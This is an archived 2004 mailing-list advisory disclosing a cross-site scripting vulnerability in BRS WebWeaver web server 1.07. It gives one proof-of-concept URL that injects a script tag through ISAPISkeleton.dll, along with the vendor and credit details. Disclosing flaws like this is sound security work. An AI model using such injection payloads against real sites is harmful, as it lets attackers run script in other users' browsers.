OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
BRS WebWeaver Webserver Cross Site Scripting Vulnerability

From: Oliver Karow (oliver.karowgmx.de)
Date: Wed Jan 28 2004 - 05:34:45 CST


BRS WebWeaver Webserver Cross Site Scripting Vulnerability
================================================
 
Whatis:
=====
 
BRS WebWeaver is a free personal web server that runs on the Windows
platform.
 
Version:
======
 
V 1.07
 
Exploiting:
=======
 
http://127.0.0.1/scripts/ISAPISkeleton.dll?<script>alert("Ooops!")</script>
 
Vendor:
======
 
http://www.brswebweaver.com
 
Credit:
=====
 
www.oliverkarow.de